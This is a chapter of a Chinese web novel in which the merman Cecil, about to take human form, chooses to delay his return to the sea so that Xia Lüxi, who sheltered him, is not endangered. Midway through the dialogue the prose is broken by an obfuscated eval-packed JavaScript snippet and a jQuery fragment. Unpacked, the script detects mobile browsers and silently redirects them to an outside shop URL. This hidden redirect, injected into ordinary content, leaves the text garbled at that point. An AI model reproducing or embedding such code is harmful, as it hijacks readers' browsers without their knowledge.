“有两个消息,一个好消息,一个坏消息,你要先听哪个?”
塞西尔没错过夏绿溪语气里的雀跃,他稍微想了想说:“那个坏消息也应该算不上是坏消息吧?”
他不觉得夏绿溪是个会幸灾乐祸的人。
“bingo!另外一个消息当然算不上是坏消息,毕竟你今天也要化形了,那盐湖对你来说也没什么用处了。”
人鱼在成年后化形,分化出一双极其与人类相似的双腿,但它们不像传说中那样,不会在化形后因为不慎沾上的水显现原形,露出暴露身份的鱼尾。
它们化形后,形态基本上稳定下来,至少就目前学术界可披露的研究资料中没有例外。
这化形就像是一次生理上的变态发育。
在大自然中,最广为人知的典型就是蝌蚪变青蛙,它们在发育成青蛙后,即便是有可能会受到外在因素的干扰,但它们最多是在发育时出现畸形或者死亡的情况,不可能会有青蛙重新变回蝌蚪的案例。
塞西尔作为人鱼,在化形后形态稳定,他的鱼尾会消失,但还能在水里自如呼吸,虽然比起人类他还是会更加依赖更多的水,但总体来讲,算是蝴蝶破茧般的成长了。
所以正如塞西尔所预料的那样,坏消息算不上坏消息,毕竟盐湖的缺失对他来说无伤痛痒。
“那另外一个呢?好消息是什么?与这个坏消息有关吧?”塞西尔猜测地说道。
听他说起这个来,夏绿溪音量提高了几分,她伸出手抓住塞西尔的一只手,因为兴奋不由得抓紧了几分,“!我跟你讲哦,这块地方被设为对外的贸易开发区试点之一,想来政府应该很快就要和我说有关我们脚下这块地的使用权的事情了,到时候手里又有钱了。”
忽然,夏绿溪脸上笑意收敛了几分,“你要回归大海吗?”
尽管先前的养殖计划破产,但是夏绿溪还是想之后再试试相关的事情,不过到时候为了保密性,她肯定是不会住在这里了,会搬到城区里或者其他郊外的地方。
不过目前夏绿溪还是没想好到底在什么地方继续自己的养殖的计划,毕竟她目前对于自己不久后手里有几个子儿的事情还不清楚,所以不好继续细化计划。
但是毫无疑问的一点是,就她目前的初步计划来看,她到时候八成一个人忙不过来,就算能过忙过来,估计起得比鸡早,睡得比狗晚。
夏绿溪确实是想赚钱,想做份算是正式的工作,但也不想让自己太过于劳累,本末倒置,损坏了身体,所以她肯定是会找人帮忙打理。
至于塞西尔先前与她说的话,夏绿溪也没忘,只是现下对塞西尔逃离回大海这事确实是绝佳的机会,所以她才会这么一问。
尽管夏绿溪是不太愿意让塞西尔回归大海,但大海才是他的家,那里……有他的父母和朋友,自己对他的感情仅仅限于对于人鱼这个物种的私有欲,那么它应当被压下去,否则她自己都会看不起自己。
听到这话,塞西尔十分高兴,但是出于这十天半月来下意识的询问习惯,他没着急回这个问题,反而是问:“……那你还会住在这里吗?”
夏绿溪将他的喜悦看在眼里,耳边突兀地听见这句不在她预期之内的话,愣了下后,看向塞西尔,认真回道:“不会,我应该会搬到其他地方去。”
“……为什么,这里不好吗?这木屋里每一处都是你花了自己心思去布置的,”塞西尔不理解,顿时伸手指向旁边的物件,“就像现在这屋子里那摇曳着白色小花的白瓷瓶,上面的花纹也是在许多种类里精挑细选出来的,你真的能舍下吗?”
夏绿溪顺着他的手看向那花瓶。
虽然只是个值不了多少钱的花瓶,但它白瓷瓶,细长颈,雕花精琢,她当时挑选费了不少心思,它确实长在自己审美点上,她此时也确实有些不舍。
但是这点不舍很快消散,她可以将它一块带走,不是吗?
夏绿溪的手指细细摩挲在它,轻笑一声,“这花瓶也不是定在了这里,我可以将它一块儿带走。”
塞西尔听后,在觉得自己方才话蠢时,目光往四周一扫,仿佛透过墙壁看见了外面,于是他语气带着欣喜,“可是花瓶你能带走,那这一砖一瓦呢,另外你舍得那些才施过肥的地吗?你舍得附近那些种植的果树吗?”
听他这么说,夏绿溪奇怪地看了他一眼,“我为什么要带走这一砖一墙,它们又不是我一块一块精心挑选的,另外至于那些地、那些果树,本来就是为了满足我生活所需……”
话停顿一瞬,夏绿溪不知想到了什么事,眼里多了几分喜意,“不过多亏你提醒,等之后和他们说这块地的租赁合同时,我得将把这些地和果树以及其他情况告诉给他们,也许能多点应得的补偿呢。”
想到此处,她不由得庆幸自己是身穿到了这个国家,但与此同时,她也带着几分感激,看向塞西尔:“多谢你了,塞西尔,要不是你说,我想我之后说不定会忘记和他们提这些事。”
夏绿溪这话不是阴阳怪气,是真心实意的。
不过塞西尔听起来却很心塞,自己弄巧成拙了,于是他犹豫了下后,开门见山:“你不能继续住在这里吗?你是我第一个人类……朋友。”
他们之间应该算是朋友吧?
塞西尔目光直直地看向夏绿溪的眼里。
不过让他失望的是,夏绿溪还是坚持地摇了摇头,“不行,另外……看来你对人类世界了解得还是不够多,这试点一设立,事关重大,肯定会对人员进行筛选管理,我又不是干这行的人,包走人的。”
塞西尔听了这解释后,心中无奈,但也没再说些什么。
见他沉默下来,夏绿溪又将先前的问题问了一遍,“你要回归大海,回到你的家吗?”
紧接着夏绿溪又补充说:“你今天早点走吧。”
尽管不知为何塞西尔对面前这个人有些不舍,但这些不舍在面对归家的渴望面前是不值一提的,所以他还是点了点头。
夏绿溪看他表态后,讨论起此事来,“先前那边的人可能会在暗地里偷偷在鲛海山附近查,不过附近这段时间为了避免引起不必要的误会,他们估计不敢做什么手脚了,这段时间是你最好离开的时机。”
“所以?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610872|205935||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”听着她这说话的口气,塞西尔觉得她还有什么要说的话,于是进一步问道。
夏绿溪看向他,“所以你是要趁着现在没化形,我像之前一样带你去海边,还是你打算化形后,自己去海边?”
化形少则两个小时,多则十几个小时,多呆一会儿,就多一分回不了家的风险。
要是没有其他因素影响,塞西尔肯定会选择第一个方案,但是他犹豫了。
夏绿溪虽然方才没在话里明说,但是那些人就算不敢做大动作,可说不定他们目前还是在暗处盯着,所以要是选择第一个方案……如果她扛着自己去海边将自己放归大海的举动被他们撞见了,会不会给她带来很大的麻烦,甚至是杀身之祸。
在经过短暂学习后,塞西尔对法律了解多了几分,他固然知道法律会对人的保护,但是他还是不敢赌。
万一呢,万一对方盛怒之下,不亲自出手,而是找其他人对她出手呢,万一她因为自己死了呢。
但塞西尔在这么想着的时候,心里又有一个声音骂了上来,“塞西尔,你是上辈子的苦没吃够是吗!现在在你面前,一个可以永远逃离那些可怖实验、可怖的人的机会就摆在你的面前,你就要为了那点良心放弃吗!”
那道声音越来越得势,不断继续骂着,似乎要骂醒这个笨蛋。
“你是人吗?那良心于你来说有什么用!重来一次,你还是和上一次一样软弱!废物!既然这么心软,那上一世全是你活该!你活该……”
“良心是你站在高处才配有的,你现在朝夕不保,自顾不暇,古往今来,在汪洋里,大鱼吃小鱼,小鱼吃虾米,那也是一条生命,但你还不是好好地吃下去了,现在又来扯什么良心!实力才是王道,胜者主宰,输者被宰!”
不对,他在偷换概念。
大鱼吃小鱼,那是大自然的生存逻辑,是大鱼为了生存所做,它们在与小鱼之间除了有生物链上的捕食者与被捕食者的关系外,其他关系基本上不存在。
它们之间基本上没有其他过往,就算有,八成也是大鱼没有成功捕猎到小鱼,总之它们之间没有恩。
但是夏绿溪对他有恩,要不是她的收留,她的帮忙,他可能早就死了,或者是再次被他们抓走了。
因此他不能干出因为自己让对方再次涉险的事情,“还是等化形吧。”
塞西尔选了第二个选项,夏绿溪在诧异一下就,立即反应过来他心里的想法,她心中有所触动,坚持说:“越早越安全,要是再晚点儿,不知道会不会有其他人来了,到时候你恐怕更加脱不了身了。”
塞西尔态度坚定,“不了,你不用再劝了,另外……我感觉我快要化形了,请你先去忙你其他的事情吧。”
他说完后,就紧紧闭上了眼。
夏绿溪见他拒绝继续交流这事的模样,也只能先离开这里,毕竟她答应过保留对方隐私,特别是对方近两日对人类社会了解更多后,估计会更加在意这方面。
“那我先走了哦。”
塞西尔简单地答了一声,“嗯。”
随后“啪嗒”一声,门关上了。